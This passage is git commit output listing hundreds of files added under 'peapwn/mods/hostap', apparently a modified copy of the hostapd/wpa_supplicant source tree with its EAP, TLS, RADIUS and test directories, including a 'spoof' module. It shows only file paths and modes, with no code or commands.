mode 100644 peapwn/mods/hostap/src/eap_common/eap_fast_common.c create mode 100644 peapwn/mods/hostap/src/eap_common/eap_fast_common.h create mode 100644 peapwn/mods/hostap/src/eap_common/eap_gpsk_common.c create mode 100644 peapwn/mods/hostap/src/eap_common/eap_gpsk_common.h create mode 100644 peapwn/mods/hostap/src/eap_common/eap_ikev2_common.c create mode 100644 peapwn/mods/hostap/src/eap_common/eap_ikev2_common.h create mode 100644 peapwn/mods/hostap/src/eap_common/eap_pax_common.c create mode 100644 peapwn/mods/hostap/src/eap_common/eap_pax_common.h create mode 100644 peapwn/mods/hostap/src/eap_common/eap_peap_common.c create mode 100644 peapwn/mods/hostap/src/eap_common/eap_peap_common.h create mode 100644 peapwn/mods/hostap/src/eap_common/eap_psk_common.c create mode 100644 peapwn/mods/hostap/src/eap_common/eap_psk_common.h create mode 100644 peapwn/mods/hostap/src/eap_common/eap_pwd_common.c create mode 100644 peapwn/mods/hostap/src/eap_common/eap_pwd_common.h create mode 100644 peapwn/mods/hostap/src/eap_common/eap_sake_common.c create mode 100644 peapwn/mods/hostap/src/eap_common/eap_sake_common.h create mode 100644 peapwn/mods/hostap/src/eap_common/eap_sim_common.c create mode 100644 peapwn/mods/hostap/src/eap_common/eap_sim_common.h create mode 100644 peapwn/mods/hostap/src/eap_common/eap_tlv_common.h create mode 100644 peapwn/mods/hostap/src/eap_common/eap_ttls.h create mode 100644 peapwn/mods/hostap/src/eap_common/eap_wsc_common.c create mode 100644 peapwn/mods/hostap/src/eap_common/eap_wsc_common.h create mode 100644 peapwn/mods/hostap/src/eap_common/ikev2_common.c create mode 100644 peapwn/mods/hostap/src/eap_common/ikev2_common.h create mode 100644 peapwn/mods/hostap/src/eap_peer/Makefile create mode 100644 peapwn/mods/hostap/src/eap_peer/eap.c create mode 100644 peapwn/mods/hostap/src/eap_peer/eap.h create mode 100644 peapwn/mods/hostap/src/eap_peer/eap_aka.c create mode 100644 peapwn/mods/hostap/src/eap_peer/eap_config.h create mode 100644 peapwn/mods/hostap/src/eap_peer/eap_eke.c create mode 100644 peapwn/mods/hostap/src/eap_peer/eap_fast.c create mode 100644 peapwn/mods/hostap/src/eap_peer/eap_fast_pac.c create mode 100644 peapwn/mods/hostap/src/eap_peer/eap_fast_pac.h create mode 100644 peapwn/mods/hostap/src/eap_peer/eap_gpsk.c create mode 100644 peapwn/mods/hostap/src/eap_peer/eap_gtc.c create mode 100644 peapwn/mods/hostap/src/eap_peer/eap_i.h create mode 100644 peapwn/mods/hostap/src/eap_peer/eap_ikev2.c create mode 100644 peapwn/mods/hostap/src/eap_peer/eap_leap.c create mode 100644 peapwn/mods/hostap/src/eap_peer/eap_md5.c create mode 100644 peapwn/mods/hostap/src/eap_peer/eap_methods.c create mode 100644 peapwn/mods/hostap/src/eap_peer/eap_methods.h create mode 100644 peapwn/mods/hostap/src/eap_peer/eap_mschapv2.c create mode 100644 peapwn/mods/hostap/src/eap_peer/eap_otp.c create mode 100644 peapwn/mods/hostap/src/eap_peer/eap_pax.c create mode 100644 peapwn/mods/hostap/src/eap_peer/eap_peap.c create mode 100644 peapwn/mods/hostap/src/eap_peer/eap_proxy.h create mode 100644 peapwn/mods/hostap/src/eap_peer/eap_proxy_dummy.c create mode 100644 peapwn/mods/hostap/src/eap_peer/eap_psk.c create mode 100644 peapwn/mods/hostap/src/eap_peer/eap_pwd.c create mode 100644 peapwn/mods/hostap/src/eap_peer/eap_sake.c create mode 100644 peapwn/mods/hostap/src/eap_peer/eap_sim.c create mode 100644 peapwn/mods/hostap/src/eap_peer/eap_tls.c create mode 100644 peapwn/mods/hostap/src/eap_peer/eap_tls_common.c create mode 100644 peapwn/mods/hostap/src/eap_peer/eap_tls_common.h create mode 100644 peapwn/mods/hostap/src/eap_peer/eap_tnc.c create mode 100644 peapwn/mods/hostap/src/eap_peer/eap_ttls.c create mode 100644 peapwn/mods/hostap/src/eap_peer/eap_vendor_test.c create mode 100644 peapwn/mods/hostap/src/eap_peer/eap_wsc.c create mode 100644 peapwn/mods/hostap/src/eap_peer/ikev2.c create mode 100644 peapwn/mods/hostap/src/eap_peer/ikev2.h create mode 100644 peapwn/mods/hostap/src/eap_peer/mschapv2.c create mode 100644 peapwn/mods/hostap/src/eap_peer/mschapv2.h create mode 100644 peapwn/mods/hostap/src/eap_peer/tncc.c create mode 100644 peapwn/mods/hostap/src/eap_peer/tncc.h create mode 100644 peapwn/mods/hostap/src/eap_server/Makefile create mode 100644 peapwn/mods/hostap/src/eap_server/eap.h create mode 100644 peapwn/mods/hostap/src/eap_server/eap_i.h create mode 100644 peapwn/mods/hostap/src/eap_server/eap_methods.h create mode 100644 peapwn/mods/hostap/src/eap_server/eap_server.c create mode 100644 peapwn/mods/hostap/src/eap_server/eap_server_aka.c create mode 100644 peapwn/mods/hostap/src/eap_server/eap_server_eke.c create mode 100644 peapwn/mods/hostap/src/eap_server/eap_server_fast.c create mode 100644 peapwn/mods/hostap/src/eap_server/eap_server_gpsk.c create mode 100644 peapwn/mods/hostap/src/eap_server/eap_server_gtc.c create mode 100644 peapwn/mods/hostap/src/eap_server/eap_server_identity.c create mode 100644 peapwn/mods/hostap/src/eap_server/eap_server_ikev2.c create mode 100644 peapwn/mods/hostap/src/eap_server/eap_server_md5.c create mode 100644 peapwn/mods/hostap/src/eap_server/eap_server_methods.c create mode 100644 peapwn/mods/hostap/src/eap_server/eap_server_mschapv2.c create mode 100644 peapwn/mods/hostap/src/eap_server/eap_server_pax.c create mode 100644 peapwn/mods/hostap/src/eap_server/eap_server_peap.c create mode 100644 peapwn/mods/hostap/src/eap_server/eap_server_psk.c create mode 100644 peapwn/mods/hostap/src/eap_server/eap_server_pwd.c create mode 100644 peapwn/mods/hostap/src/eap_server/eap_server_sake.c create mode 100644 peapwn/mods/hostap/src/eap_server/eap_server_sim.c create mode 100644 peapwn/mods/hostap/src/eap_server/eap_server_tls.c create mode 100644 peapwn/mods/hostap/src/eap_server/eap_server_tls_common.c create mode 100644 peapwn/mods/hostap/src/eap_server/eap_server_tnc.c create mode 100644 peapwn/mods/hostap/src/eap_server/eap_server_ttls.c create mode 100644 peapwn/mods/hostap/src/eap_server/eap_server_vendor_test.c create mode 100644 peapwn/mods/hostap/src/eap_server/eap_server_wsc.c create mode 100644 peapwn/mods/hostap/src/eap_server/eap_sim_db.c create mode 100644 peapwn/mods/hostap/src/eap_server/eap_sim_db.h create mode 100644 peapwn/mods/hostap/src/eap_server/eap_tls_common.h create mode 100644 peapwn/mods/hostap/src/eap_server/ikev2.c create mode 100644 peapwn/mods/hostap/src/eap_server/ikev2.h create mode 100644 peapwn/mods/hostap/src/eap_server/tncs.c create mode 100644 peapwn/mods/hostap/src/eap_server/tncs.h create mode 100644 peapwn/mods/hostap/src/eapol_auth/Makefile create mode 100644 peapwn/mods/hostap/src/eapol_auth/eapol_auth_dump.c create mode 100644 peapwn/mods/hostap/src/eapol_auth/eapol_auth_sm.c create mode 100644 peapwn/mods/hostap/src/eapol_auth/eapol_auth_sm.h create mode 100644 peapwn/mods/hostap/src/eapol_auth/eapol_auth_sm_i.h create mode 100644 peapwn/mods/hostap/src/eapol_supp/Makefile create mode 100644 peapwn/mods/hostap/src/eapol_supp/eapol_supp_sm.c create mode 100644 peapwn/mods/hostap/src/eapol_supp/eapol_supp_sm.h create mode 100644 peapwn/mods/hostap/src/l2_packet/Makefile create mode 100644 peapwn/mods/hostap/src/l2_packet/l2_packet.h create mode 100644 peapwn/mods/hostap/src/l2_packet/l2_packet_freebsd.c create mode 100644 peapwn/mods/hostap/src/l2_packet/l2_packet_linux.c create mode 100644 peapwn/mods/hostap/src/l2_packet/l2_packet_ndis.c create mode 100644 peapwn/mods/hostap/src/l2_packet/l2_packet_none.c create mode 100644 peapwn/mods/hostap/src/l2_packet/l2_packet_pcap.c create mode 100644 peapwn/mods/hostap/src/l2_packet/l2_packet_privsep.c create mode 100644 peapwn/mods/hostap/src/l2_packet/l2_packet_winpcap.c create mode 100644 peapwn/mods/hostap/src/lib.rules create mode 100644 peapwn/mods/hostap/src/p2p/Makefile create mode 100644 peapwn/mods/hostap/src/p2p/p2p.c create mode 100644 peapwn/mods/hostap/src/p2p/p2p.h create mode 100644 peapwn/mods/hostap/src/p2p/p2p_build.c create mode 100644 peapwn/mods/hostap/src/p2p/p2p_dev_disc.c create mode 100644 peapwn/mods/hostap/src/p2p/p2p_go_neg.c create mode 100644 peapwn/mods/hostap/src/p2p/p2p_group.c create mode 100644 peapwn/mods/hostap/src/p2p/p2p_i.h create mode 100644 peapwn/mods/hostap/src/p2p/p2p_invitation.c create mode 100644 peapwn/mods/hostap/src/p2p/p2p_parse.c create mode 100644 peapwn/mods/hostap/src/p2p/p2p_pd.c create mode 100644 peapwn/mods/hostap/src/p2p/p2p_sd.c create mode 100644 peapwn/mods/hostap/src/p2p/p2p_utils.c create mode 100644 peapwn/mods/hostap/src/radius/.gitignore create mode 100644 peapwn/mods/hostap/src/radius/Makefile create mode 100644 peapwn/mods/hostap/src/radius/radius.c create mode 100644 peapwn/mods/hostap/src/radius/radius.h create mode 100644 peapwn/mods/hostap/src/radius/radius_client.c create mode 100644 peapwn/mods/hostap/src/radius/radius_client.h create mode 100644 peapwn/mods/hostap/src/radius/radius_das.c create mode 100644 peapwn/mods/hostap/src/radius/radius_das.h create mode 100644 peapwn/mods/hostap/src/radius/radius_server.c create mode 100644 peapwn/mods/hostap/src/radius/radius_server.h create mode 100644 peapwn/mods/hostap/src/rsn_supp/Makefile create mode 100644 peapwn/mods/hostap/src/rsn_supp/peerkey.c create mode 100644 peapwn/mods/hostap/src/rsn_supp/peerkey.h create mode 100644 peapwn/mods/hostap/src/rsn_supp/pmksa_cache.c create mode 100644 peapwn/mods/hostap/src/rsn_supp/pmksa_cache.h create mode 100644 peapwn/mods/hostap/src/rsn_supp/preauth.c create mode 100644 peapwn/mods/hostap/src/rsn_supp/preauth.h create mode 100644 peapwn/mods/hostap/src/rsn_supp/tdls.c create mode 100644 peapwn/mods/hostap/src/rsn_supp/wpa.c create mode 100644 peapwn/mods/hostap/src/rsn_supp/wpa.h create mode 100644 peapwn/mods/hostap/src/rsn_supp/wpa_ft.c create mode 100644 peapwn/mods/hostap/src/rsn_supp/wpa_i.h create mode 100644 peapwn/mods/hostap/src/rsn_supp/wpa_ie.c create mode 100644 peapwn/mods/hostap/src/rsn_supp/wpa_ie.h create mode 100644 peapwn/mods/hostap/src/spoof/Makefile create mode 100644 peapwn/mods/hostap/src/spoof/spoof.c create mode 100644 peapwn/mods/hostap/src/spoof/spoof.h create mode 100644 peapwn/mods/hostap/src/spoof/stat.c create mode 100644 peapwn/mods/hostap/src/spoof/stat.h create mode 100644 peapwn/mods/hostap/src/tls/.gitignore create mode 100644 peapwn/mods/hostap/src/tls/Makefile create mode 100644 peapwn/mods/hostap/src/tls/asn1.c create mode 100644 peapwn/mods/hostap/src/tls/asn1.h create mode 100644 peapwn/mods/hostap/src/tls/bignum.c create mode 100644 peapwn/mods/hostap/src/tls/bignum.h create mode 100644 peapwn/mods/hostap/src/tls/libtommath.c create mode 100644 peapwn/mods/hostap/src/tls/pkcs1.c create mode 100644 peapwn/mods/hostap/src/tls/pkcs1.h create mode 100644 peapwn/mods/hostap/src/tls/pkcs5.c create mode 100644 peapwn/mods/hostap/src/tls/pkcs5.h create mode 100644 peapwn/mods/hostap/src/tls/pkcs8.c create mode 100644 peapwn/mods/hostap/src/tls/pkcs8.h create mode 100644 peapwn/mods/hostap/src/tls/rsa.c create mode 100644 peapwn/mods/hostap/src/tls/rsa.h create mode 100644 peapwn/mods/hostap/src/tls/tlsv1_client.c create mode 100644 peapwn/mods/hostap/src/tls/tlsv1_client.h create mode 100644 peapwn/mods/hostap/src/tls/tlsv1_client_i.h create mode 100644 peapwn/mods/hostap/src/tls/tlsv1_client_read.c create mode 100644 peapwn/mods/hostap/src/tls/tlsv1_client_write.c create mode 100644 peapwn/mods/hostap/src/tls/tlsv1_common.c create mode 100644 peapwn/mods/hostap/src/tls/tlsv1_common.h create mode 100644 peapwn/mods/hostap/src/tls/tlsv1_cred.c create mode 100644 peapwn/mods/hostap/src/tls/tlsv1_cred.h create mode 100644 peapwn/mods/hostap/src/tls/tlsv1_record.c create mode 100644 peapwn/mods/hostap/src/tls/tlsv1_record.h create mode 100644 peapwn/mods/hostap/src/tls/tlsv1_server.c create mode 100644 peapwn/mods/hostap/src/tls/tlsv1_server.h create mode 100644 peapwn/mods/hostap/src/tls/tlsv1_server_i.h create mode 100644 peapwn/mods/hostap/src/tls/tlsv1_server_read.c create mode 100644 peapwn/mods/hostap/src/tls/tlsv1_server_write.c create mode 100644 peapwn/mods/hostap/src/tls/x509v3.c create mode 100644 peapwn/mods/hostap/src/tls/x509v3.h create mode 100644 peapwn/mods/hostap/src/utils/.gitignore create mode 100644 peapwn/mods/hostap/src/utils/Makefile create mode 100644 peapwn/mods/hostap/src/utils/base64.c create mode 100644 peapwn/mods/hostap/src/utils/base64.h create mode 100644 peapwn/mods/hostap/src/utils/bitfield.c create mode 100644 peapwn/mods/hostap/src/utils/bitfield.h create mode 100644 peapwn/mods/hostap/src/utils/build_config.h create mode 100644 peapwn/mods/hostap/src/utils/common.c create mode 100644 peapwn/mods/hostap/src/utils/common.h create mode 100644 peapwn/mods/hostap/src/utils/edit.c create mode 100644 peapwn/mods/hostap/src/utils/edit.h create mode 100644 peapwn/mods/hostap/src/utils/edit_readline.c create mode 100644 peapwn/mods/hostap/src/utils/edit_simple.c create mode 100644 peapwn/mods/hostap/src/utils/eloop.c create mode 100644 peapwn/mods/hostap/src/utils/eloop.h create mode 100644 peapwn/mods/hostap/src/utils/eloop_win.c create mode 100644 peapwn/mods/hostap/src/utils/ext_password.c create mode 100644 peapwn/mods/hostap/src/utils/ext_password.h create mode 100644 peapwn/mods/hostap/src/utils/ext_password_i.h create mode 100644 peapwn/mods/hostap/src/utils/ext_password_test.c create mode 100644 peapwn/mods/hostap/src/utils/includes.h create mode 100644 peapwn/mods/hostap/src/utils/ip_addr.c create mode 100644 peapwn/mods/hostap/src/utils/ip_addr.h create mode 100644 peapwn/mods/hostap/src/utils/list.h create mode 100644 peapwn/mods/hostap/src/utils/os.h create mode 100644 peapwn/mods/hostap/src/utils/os_internal.c create mode 100644 peapwn/mods/hostap/src/utils/os_none.c create mode 100644 peapwn/mods/hostap/src/utils/os_unix.c create mode 100644 peapwn/mods/hostap/src/utils/os_win32.c create mode 100644 peapwn/mods/hostap/src/utils/pcsc_funcs.c create mode 100644 peapwn/mods/hostap/src/utils/pcsc_funcs.h create mode 100644 peapwn/mods/hostap/src/utils/radiotap.c create mode 100644 peapwn/mods/hostap/src/utils/radiotap.h create mode 100644 peapwn/mods/hostap/src/utils/radiotap_iter.h create mode 100644 peapwn/mods/hostap/src/utils/state_machine.h create mode 100644 peapwn/mods/hostap/src/utils/trace.c create mode 100644 peapwn/mods/hostap/src/utils/trace.h create mode 100644 peapwn/mods/hostap/src/utils/uuid.c create mode 100644 peapwn/mods/hostap/src/utils/uuid.h create mode 100644 peapwn/mods/hostap/src/utils/wpa_debug.c create mode 100644 peapwn/mods/hostap/src/utils/wpa_debug.h create mode 100644 peapwn/mods/hostap/src/utils/wpabuf.c create mode 100644 peapwn/mods/hostap/src/utils/wpabuf.h create mode 100644 peapwn/mods/hostap/src/wps/Makefile create mode 100644 peapwn/mods/hostap/src/wps/http.h create mode 100644 peapwn/mods/hostap/src/wps/http_client.c create mode 100644 peapwn/mods/hostap/src/wps/http_client.h create mode 100644 peapwn/mods/hostap/src/wps/http_server.c create mode 100644 peapwn/mods/hostap/src/wps/http_server.h create mode 100644 peapwn/mods/hostap/src/wps/httpread.c create mode 100644 peapwn/mods/hostap/src/wps/httpread.h create mode 100644 peapwn/mods/hostap/src/wps/ndef.c create mode 100644 peapwn/mods/hostap/src/wps/upnp_xml.c create mode 100644 peapwn/mods/hostap/src/wps/upnp_xml.h create mode 100644 peapwn/mods/hostap/src/wps/wps.c create mode 100644 peapwn/mods/hostap/src/wps/wps.h create mode 100644 peapwn/mods/hostap/src/wps/wps_attr_build.c create mode 100644 peapwn/mods/hostap/src/wps/wps_attr_parse.c create mode 100644 peapwn/mods/hostap/src/wps/wps_attr_parse.h create mode 100644 peapwn/mods/hostap/src/wps/wps_attr_process.c create mode 100644 peapwn/mods/hostap/src/wps/wps_common.c create mode 100644 peapwn/mods/hostap/src/wps/wps_defs.h create mode 100644 peapwn/mods/hostap/src/wps/wps_dev_attr.c create mode 100644 peapwn/mods/hostap/src/wps/wps_dev_attr.h create mode 100644 peapwn/mods/hostap/src/wps/wps_enrollee.c create mode 100644 peapwn/mods/hostap/src/wps/wps_er.c create mode 100644 peapwn/mods/hostap/src/wps/wps_er.h create mode 100644 peapwn/mods/hostap/src/wps/wps_er_ssdp.c create mode 100644 peapwn/mods/hostap/src/wps/wps_i.h create mode 100644 peapwn/mods/hostap/src/wps/wps_registrar.c create mode 100644 peapwn/mods/hostap/src/wps/wps_upnp.c create mode 100644 peapwn/mods/hostap/src/wps/wps_upnp.h create mode 100644 peapwn/mods/hostap/src/wps/wps_upnp_ap.c create mode 100644 peapwn/mods/hostap/src/wps/wps_upnp_event.c create mode 100644 peapwn/mods/hostap/src/wps/wps_upnp_i.h create mode 100644 peapwn/mods/hostap/src/wps/wps_upnp_ssdp.c create mode 100644 peapwn/mods/hostap/src/wps/wps_upnp_web.c create mode 100644 peapwn/mods/hostap/src/wps/wps_validate.c create mode 100644 peapwn/mods/hostap/tests/.gitignore create mode 100644 peapwn/mods/hostap/tests/Makefile create mode 100644 peapwn/mods/hostap/tests/hwsim/README create mode 100644 peapwn/mods/hostap/tests/hwsim/auth_serv/as.conf create mode 100644 peapwn/mods/hostap/tests/hwsim/auth_serv/ca-incorrect.pem create mode 100644 peapwn/mods/hostap/tests/hwsim/auth_serv/ca.pem create mode 100644 peapwn/mods/hostap/tests/hwsim/auth_serv/dh.conf create mode 100644 peapwn/mods/hostap/tests/hwsim/auth_serv/eap_user.conf create mode 100644 peapwn/mods/hostap/tests/hwsim/auth_serv/hlr_auc_gw.milenage_db create mode 100644 peapwn/mods/hostap/tests/hwsim/auth_serv/radius_clients.conf create mode 100644 peapwn/mods/hostap/tests/hwsim/auth_serv/server.key create mode 100644 peapwn/mods/hostap/tests/hwsim/auth_serv/server.pem create mode 100644 peapwn/mods/hostap/tests/hwsim/auth_serv/user.key create mode 100644 peapwn/mods/hostap/tests/hwsim/auth_serv/user.pem create mode 100644 peapwn/mods/hostap/tests/hwsim/bss-1.conf create mode 100644 peapwn/mods/hostap/tests/hwsim/bss-2.conf create mode 100644 peapwn/mods/hostap/tests/hwsim/bss-3.conf create mode 100644 peapwn/mods/hostap/tests/hwsim/bss-ht40-1.conf create mode 100644 peapwn/mods/hostap/tests/hwsim/bss-ht40-2.conf create mode 100755 peapwn/mods/hostap/tests/hwsim/build.sh create mode 100644 peapwn/mods/hostap/tests/hwsim/check_kernel.py create mode 100644 peapwn/mods/hostap/tests/hwsim/example-hostapd.config create mode 100644 peapwn/mods/hostap/tests/hwsim/example-wpa_supplicant.config create mode 100644 peapwn/mods/hostap/tests/hwsim/hostapd.py create mode 100644 peapwn/mods/hostap/tests/hwsim/hwsim_utils.py create mode 100644 peapwn/mods/hostap/tests/hwsim/multi-bss-acs.conf create mode 100644 peapwn/mods/hostap/tests/hwsim/multi-bss.conf create mode 100644 peapwn/mods/hostap/tests/hwsim/p2p0.conf create mode 100644 peapwn/mods/hostap/tests/hwsim/p2p1.conf create mode 100644 peapwn/mods/hostap/tests/hwsim/p2p2.conf create mode 100755 peapwn/mods/hostap/tests/hwsim/run-all.sh create mode 100755 peapwn/mods/hostap/tests/hwsim/run-tests.py create mode 100755 peapwn/mods/hostap/tests/hwsim/start.sh create mode 100755 peapwn/mods/hostap/tests/hwsim/stop.sh create mode 100644 peapwn/mods/hostap/tests/hwsim/test_ap_acs.py create mode 100644 peapwn/mods/hostap/tests/hwsim/test_ap_dynamic.py create mode 100644 peapwn/mods/hostap/tests/hwsim/test_ap_eap.py create mode 100644 peapwn/mods/hostap/tests/hwsim/test_ap_ft.py create mode 100644 peapwn/mods/hostap/tests/hwsim/test_ap_hs20.py create mode 100644 peapwn/mods/hostap/tests/hwsim/test_ap_ht.py create mode 100644 peapwn/mods/hostap/tests/hwsim/test_ap_pmf.py create mode 100644 peapwn/mods/hostap/tests/hwsim/test_ap_roam.py create mode 100644 peapwn/mods/hostap/tests/hwsim/test_ap_tdls.py create mode 100644 peapwn/mods/hostap/tests/hwsim/test_ap_wps.py create mode 100644 peapwn/mods/hostap/tests/hwsim/test_dfs.py create mode 100644 peapwn/mods/hostap/tests/hwsim/test_gas.py create mode 100644 peapwn/mods/hostap/tests/hwsim/test_ibss.py create mode 100644 peapwn/mods/hostap/tests/hwsim/test_nfc_wps.py create mode 100644 peapwn/mods/hostap/tests/hwsim/test_p2p_autogo.py create mode 100644 peapwn/mods/hostap/tests/hwsim/test_p2p_concurrency.py create mode 100644 peapwn/mods/hostap/tests/hwsim/test_p2p_discovery.py create mode 100644 peapwn/mods/hostap/tests/hwsim/test_p2p_grpform.py create mode 100644 peapwn/mods/hostap/tests/hwsim/test_p2p_invitation.py create mode 100644 peapwn/mods/hostap/tests/hwsim/test_p2p_persistent.py create mode 100644 peapwn/mods/hostap/tests/hwsim/test_p2p_service.py create mode 100644 peapwn/mods/hostap/tests/hwsim/test_sae.py create mode 100644 peapwn/mods/hostap/tests/hwsim/utils.py create mode 100644 peapwn/mods/hostap/tests/hwsim/vm/.gitignore create mode 100644 peapwn/mods/hostap/tests/hwsim/vm/README create mode 100755 peapwn/mods/hostap/tests/hwsim/vm/inside.sh create mode 100644 peapwn/mods/hostap/tests/hwsim/vm/kernel-config create mode 100755 peapwn/mods/hostap/tests/hwsim/vm/vm-run.sh create mode 100644 peapwn/mods/hostap/tests/hwsim/wlantest.py create mode 100644 peapwn/mods/hostap/tests/hwsim/wpasupplicant.py create mode 100644 peapwn/mods/hostap/tests/test-aes.c create mode 100644 peapwn/mods/hostap/tests/test-asn1.c create mode 100644 peapwn/mods/hostap/tests/test-base64.c create mode 100644 peapwn/mods/hostap/tests/test-bitfield.c create mode 100644 peapwn/mods/hostap/tests/test-https.c create mode 100644 peapwn/mods/hostap/tests/test-list.c create mode 100644 peapwn/mods/hostap/tests/test-md4.c create mode 100644 peapwn/mods/hostap/tests/test-md5.c create mode 100644 peapwn/mods/hostap/tests/test-milenage.c create mode 100644 peapwn/mods/hostap/tests/test-ms_funcs.c create mode 100644 peapwn/mods/hostap/tests/test-printf.c create mode 100644 peapwn/mods/hostap/tests/test-rc4.c create mode 100644 peapwn/mods/hostap/tests/test-sha1.c create mode 100644 peapwn/mods/hostap/tests/test-sha256.c create mode 100644 peapwn/mods/hostap/tests/test-x509.c create mode 100644 peapwn/mods/hostap/tests/test-x509v3.c create mode 100755 peapwn/mods/hostap/tests/test_x509v3_nist.sh create mode 100755 peapwn/mods/hostap/tests/test_x509v3_nist2.sh create mode 100644 peapwn/mods/hostap/wpa_supplicant/.cproject create mode 100644 peapwn/mods/hostap/wpa_supplicant/.gitignore create mode 100644 peapwn/mods/hostap/wpa_supplicant/.project create mode 100644 peapwn/mods/hostap/wpa_supplicant/Android.mk create mode 100644 peapwn/mods/hostap/wpa_supplicant/ChangeLog create mode 100644 peapwn/mods/hostap/wpa_supplicant/Makefile create mode 100644 peapwn/mods/hostap/wpa_supplicant/README create mode 100644 peapwn/mods/hostap/wpa_supplicant/README-HS20 create mode 100644 peapwn/mods/hostap/wpa_supplicant/README-P2P create mode 100644 peapwn/mods/hostap/wpa_supplicant/README-WPS create mode 100644 peapwn/mods/hostap/wpa_supplicant/README-Windows.txt create mode 100644 peapwn/mods/hostap/wpa_supplicant/android.config create mode 100644 peapwn/mods/hostap/wpa_supplicant/ap.c create mode 100644 peapwn/mods/hostap/wpa_supplicant/ap.h create mode 100644 peapwn/mods/hostap/wpa_supplicant/autoscan.c create mode 100644 peapwn/mods/hostap/wpa_supplicant/autoscan.h create mode 100644 peapwn/mods/hostap/wpa_supplicant/autoscan_exponential.c create mode 100644 peapwn/mods/hostap/wpa_supplicant/autoscan_periodic.c create mode 100644 peapwn/mods/hostap/wpa_supplicant/bgscan.c create mode 100644 peapwn/mods/hostap/wpa_supplicant/bgscan.h create mode 100644 peapwn/mods/hostap/wpa_supplicant/bgscan_learn.c create mode 100644 peapwn/mods/hostap/wpa_supplicant/bgscan_simple.c create mode 100644 peapwn/mods/hostap/wpa_supplicant/blacklist.c create mode 100644 peapwn/mods/hostap/wpa_supplicant/blacklist.h create mode 100644 peapwn/mods/hostap/wpa_supplicant/bss.c create mode 100644 peapwn/mods/hostap/wpa_supplicant/bss.h create mode 100644 peapwn/mods/hostap/wpa_supplicant/config.c create mode 100644 peapwn/mods/hostap/wpa_supplicant/config.h create mode 100644 peapwn/mods/hostap/wpa_supplicant/config_file.c create mode 100644 peapwn/mods/hostap/wpa_supplicant/config_none.c create mode 100644 peapwn/mods/hostap/wpa_supplicant/config_ssid.h create mode 100644 peapwn/mods/hostap/wpa_supplicant/config_winreg.c create mode 100644 peapwn/mods/hostap/wpa_supplicant/ctrl_iface.c create mode 100644 peapwn/mods/hostap/wpa_supplicant/ctrl_iface.h create mode 100644 peapwn/mods/hostap/wpa_supplicant/ctrl_iface_named_pipe.c create mode 100644 peapwn/mods/hostap/wpa_supplicant/ctrl_iface_udp.c create mode 100644 peapwn/mods/hostap/wpa_supplicant/ctrl_iface_unix.c create mode 100644 peapwn/mods/hostap/wpa_supplicant/dbus/.gitignore create mode 100644 peapwn/mods/hostap/wpa_supplicant/dbus/Makefile create mode 100644 peapwn/mods/hostap/wpa_supplicant/dbus/dbus-wpa_supplicant.conf create mode 100644 peapwn/mods/hostap/wpa_supplicant/dbus/dbus_common.c create mode 100644 peapwn/mods/hostap/wpa_supplicant/dbus/dbus_common.h create mode 100644 peapwn/mods/hostap/wpa_supplicant/dbus/dbus_common_i.h create mode 100644 peapwn/mods/hostap/wpa_supplicant/dbus/dbus_dict_helpers.c create mode 100644 peapwn/mods/hostap/wpa_supplicant/dbus/dbus_dict_helpers.h create mode 100644 peapwn/mods/hostap/wpa_supplicant/dbus/dbus_new.c create mode 100644 peapwn/mods/hostap/wpa_supplicant/dbus/dbus_new.h create mode 100644 peapwn/mods/hostap/wpa_supplicant/dbus/dbus_new_handlers.c create mode 100644 peapwn/mods/hostap/wpa_supplicant/dbus/dbus_new_handlers.h create mode 100644 peapwn/mods/hostap/wpa_supplicant/dbus/dbus_new_handlers_p2p.c create mode 100644 peapwn/mods/hostap/wpa_supplicant/dbus/dbus_new_handlers_p2p.h create mode 100644 peapwn/mods/hostap/wpa_supplicant/dbus/dbus_new_handlers_wps.c create mode 100644 peapwn/mods/hostap/wpa_supplicant/dbus/dbus_new_helpers.c create mode 100644 peapwn/mods/hostap/wpa_supplicant/dbus/dbus_new_helpers.h create mode 100644 peapwn/mods/hostap/wpa_supplicant/dbus/dbus_new_introspect.c create mode 100644 peapwn/mods/hostap/wpa_supplicant/dbus/dbus_old.c create mode 100644 peapwn/mods/hostap/wpa_supplicant/dbus/dbus_old.h create mode 100644 peapwn/mods/hostap/wpa_supplicant/dbus/dbus_old_handlers.c create mode 100644 peapwn/mods/hostap/wpa_supplicant/dbus/dbus_old_handlers.h create mode 100644 peapwn/mods/hostap/wpa_supplicant/dbus/dbus_old_handlers_wps.c create mode 100644 peapwn/mods/hostap/wpa_supplicant/dbus/fi.epitest.hostap.WPASupplicant.service.in create mode 100644 peapwn/mods/hostap/wpa_supplicant/dbus/fi.w1.wpa_supplicant1.service.in create mode 100644 peapwn/mods/hostap/wpa_supplicant/defconfig create mode 100644 peapwn/mods/hostap/wpa_supplicant/doc/docbook/.gitignore create mode 100644 peapwn/mods/hostap/wpa_supplicant/doc/docbook/Makefile create mode 100644 peapwn/mods/hostap/wpa_supplicant/doc/docbook/wpa_background.sgml create mode 100644 peapwn/mods/hostap/wpa_supplicant/doc/docbook/wpa_cli.sgml create mode 100644 peapwn/mods/hostap/wpa_supplicant/doc/docbook/wpa_gui.sgml create mode 100644 peapwn/mods/hostap/wpa_supplicant/doc/docbook/wpa_passphrase.sgml create mode 100644 peapwn/mods/hostap/wpa_supplicant/doc/docbook/wpa_priv.sgml create mode 100644 peapwn/mods/hostap/wpa_supplicant/doc/docbook/wpa_supplicant.conf.sgml create mode 100644 peapwn/mods/hostap/wpa_supplicant/doc/docbook/wpa_supplicant.sgml create mode 100644 peapwn/mods/hostap/wpa_supplicant/driver_i.h create mode 100644 peapwn/mods/hostap/wpa_supplicant/eap_proxy_dummy.mk create mode 100644 peapwn/mods/hostap/wpa_supplicant/eap_register.c create mode 100644 peapwn/mods/hostap/wpa_supplicant/eap_testing.txt create mode 100644 peapwn/mods/hostap/wpa_supplicant/eapol-config create mode 100644 peapwn/mods/hostap/wpa_supplicant/eapol_test.c create mode 100644 peapwn/mods/hostap/wpa_supplicant/events.c create mode 100755 peapwn/mods/hostap/wpa_supplicant/examples/60_wpa_supplicant create mode 100755 peapwn/mods/hostap/wpa_supplicant/examples/dbus-listen-preq.py create mode 100644 peapwn/mods/hostap/wpa_supplicant/examples/ieee8021x.conf create mode 100644 peapwn/mods/hostap/wpa_supplicant/examples/openCryptoki.conf create mode 100755 peapwn/mods/hostap/wpa_supplicant/examples/p2p-action-udhcp.sh create mode 100755 peapwn/mods/hostap/wpa_supplicant/examples/p2p-action.sh create mode 100644 peapwn/mods/hostap/wpa_supplicant/examples/p2p/p2p_connect.py create mode 100644 peapwn/mods/hostap/wpa_supplicant/examples/p2p/p2p_disconnect.py create mode 100644 